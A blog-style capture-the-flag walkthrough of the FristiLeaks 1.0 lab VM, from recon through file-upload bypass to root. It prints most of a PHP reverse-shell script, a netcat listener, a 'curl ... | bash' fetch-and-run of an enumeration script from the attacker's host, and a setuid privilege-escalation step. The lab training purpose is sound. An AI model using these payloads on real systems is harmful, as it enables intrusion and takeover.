This is a fun VM, not that complex but I was overthinking and lost a lot of valuable time… That’s the outcome of that box…. DO NOT OVERTHINK!
Thanks to @Ar0xA for putting this together… I learnt my lesson!
Enjoy:
starting with a quick reco:
root@kali:~/boxes/frikileaks# nmap -sC -sV 192.168.0.17 -oA nmap/nmap.frikileaks
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-05-15 14:27 ADT
Nmap scan report for 192.168.0.17
Host is up (0.00047s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nothing in /cola /sis or /beer, except this picture:
Starting Gobuster:
root@kali:~/boxes/frikileaks# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
192.168.0.17
Gobuster v2.0.1 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain : http://192.168.0.17/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
2019/05/15 14:31:00 Starting gobuster
/images (Status: 301)
/beer (Status: 301)
Then crash! Timeout
root@kali:/usr/share/exploitdb/exploits/linux/remote# curl -v -X OPTIONS 192.168.0.17
- Expire in 0 ms for 6 (transfer 0x55b2df96add0)
- Trying 192.168.0.17…
- TCP_NODELAY set
- Expire in 200 ms for 4 (transfer 0x55b2df96add0)
- Connected to 192.168.0.17 (192.168.0.17) port 80 (#0)
OPTIONS / HTTP/1.1
Host: 192.168.0.17
User-Agent: curl/7.64.0
Accept: /
< HTTP/1.1 200 OK
< Date: Wed, 15 May 2019 17:57:54 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< Allow: GET,HEAD,POST,OPTIONS,TRACE
< Content-Length: 0
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
- Closing connection 0
Running Nikto:
root@kali:~# nikto –url http://192.168.1.168
– Nikto v2.1.6
- Target IP: 192.168.1.168
- Target Hostname: 192.168.1.168
- Target Port: 80
+ Start Time: 2019-05-15 16:52:04 (GMT-3)
- Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
- Server may leak inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17
14:45:47 2015 - The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some
forms of XSS - The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the
site in a different fashion to the MI
ME type - Entry ‘/cola/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
- Entry ‘/sisi/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
- Entry ‘/beer/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
- “robots.txt” contains 3 entries which should be manually viewed.
- Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x
branch. - PHP/5.3.3 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also
current release for each branch. - Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
- OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
- OSVDB-3268: /icons/: Directory indexing found.
- OSVDB-3268: /images/: Directory indexing found.
- OSVDB-3233: /icons/README: Apache default file found.
- 8701 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2019-05-15 16:52:20 (GMT-3) (16 seconds)
Found an interesting folder: fristi (Based on the other URLs and the message in the first picture)
It sent me to a login page:
Tried admin/admin and other combinations.. nothing
In the source code, I found the name of the developper: eezeepz
But also a base 64 encoded png file:
It was the password!
I then landed on a page where I could upload an image.
So I uploaded the following PHP:
array(“pipe”, “r”), // stdin is a pipe that the child will read from
1 => array(“pipe”, “w”), // stdout is a pipe that the child will write to
2 => array(“pipe”, “w”) // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit(“Successfully opened reverse shell to $ip:$port”);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}
// If we can read from the process’s STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}
// If we can read from the process’s STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we’ve daemonised ourself
// (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print “$string\n”;
}
}
?>
Used burp to change the mime type. It worked.
Then nc -nvlp 443
Opened the url: 192.168.1.168/fristi/uploads/php-reverse-shell.php.png
Got code execution
Bingo… got a limited shell:
Then i upgraded to a proper shell:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
CTRL Z
stty raw -echo
fg and two times ENTER
export TERM=screen
reset
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
In /home/eezeepz, I found: notes.txt
o EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don’t forget to specify the full path for each binary!
Just put a file called “runthis” in /tmp/, each line one command. The
output goes to the file “cronresult” in /tmp/. It should
run every minute with my account privileges.
- Jerry
cd admin
bash: cd: admin: Permission denied
total 28
drwxr-xr-x. 5 root root 4096 Nov 19 2015 .
dr-xr-xr-x. 22 root root 4096 May 23 08:02 ..
drwx——. 2 admin admin 4096 Nov 19 2015 admin
drwx—r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx—— 2 fristigod fristigod 4096 Nov 19 2015 fristigod
bash-4.1$ cd admin
cd admin
bash: cd: admin: Permission denied
bash-4.1$ cd fristigod
cd fristigod
bash: cd: fristigod: Permission denied
Tried to log in as eezeepz… failed.
So I uploaded linuxenum by running python webserver:
python -m SimpleHTTPServer 80
curl 192.168.1.124/linuxenum.sh | bash > enum.txt
Couldn’t write in EZ home folder so wrote to /tmp
not giving a lot of tips… So starting to poke at mysql:
Password is in php file: 4ll3maal12#
use hackmenow;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+———————+
| Tables_in_hackmenow |
+———————+
| members |
+———————+
1 row in set (0.00 sec)
mysql> select * from members
-> ;
+—-+———-+——————–+
| id | username | password |
+—-+———-+——————–+
| 1 | eezeepz | keKkeKKeKKeKkEkkEk |
+—-+———-+——————–+
Logged in…. but found only one interesting db: hackmenow who has the web app password for eezeepz. Another Rabitt hole!
drwxr-xr-x 3 apache apache 4096 May 23 17:11 .
drwxr-xr-x. 7 root root 4096 Nov 25 2015 ..
-rw-r–r–. 1 apache apache 1310 Nov 17 2015 checklogin.php
-rw-r–r–. 1 apache apache 1216 Nov 17 2015 do_upload.php
lrwxrwxrwx. 1 apache apache 14 Nov 17 2015 index.php -> main_login.php
-rw-r–r–. 1 apache apache 191 Nov 17 2015 login_success.php
-rw-r–r–. 1 apache apache 45 Nov 17 2015 logout.php
-rw-r–r–. 1 apache apache 1396 Nov 17 2015 main_login.php
-rw-rw-rw- 1 apache apache 57 May 23 17:10 pic
-rw-r–r–. 1 apache apache 131736 Nov 17 2015 pic.b64
-rw-r–r–. 1 apache apache 1642 Nov 17 2015 pic2.b64
-rw-rw-rw- 1 apache apache 1213 May 23 17:11 pic2.png
-rw-r–r–. 1 apache apache 372 Nov 17 2015 upload.php
drwxrwxrwx. 2 apache apache 4096 May 23 14:56 uploads
bash-4.1$ cp pic* uploads/
cp pic* uploads/
Grrr nothing interesting there
Back to the notes.txt file:
I added this in runthis: /home/admin/chmod 777 /home/admin/
bim, it worked. I can now go to admin
find an interesting file:
whoisyourgodnow.txt
it contains:
=RFn0AKnlMHMPIzpyuTI0ITG
Found a python script:
cat cryptpass.py
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], ‘rot13’)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
wrote a quick script to do the opposite to decrypt the file:
!/usr/bin/python
import base64,codecs,sys
def encodeString(str):
base64string = codecs.encode(str[::-1], ‘rot13’)
return base64.b64decode(base64string)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
Bingo:
LetThereBeFristi!
su – fristigod
bash-4.1$ su – fristigod
Password:
-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
-bash-4.1$
but home directory is empty.
Rerun linuxenum:
Found interesting history in /var/fristigod/.bash_history
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
10/10
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Tried to see what was /var/fristigod/.secret_admin_stuff/doCom and ran it:
-bash-4.1$ ./doCom
Nice try, but wrong user 😉
but it is running as root! and if I cat the content of the code, I see that it accepts a command as argument. So:
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
Running bash with doCom:
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash
[sudo]
password for fristigod:
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
bash-4.1#
bash-4.1# cd /root
bash-4.1# ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it’s supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
It was a nice one!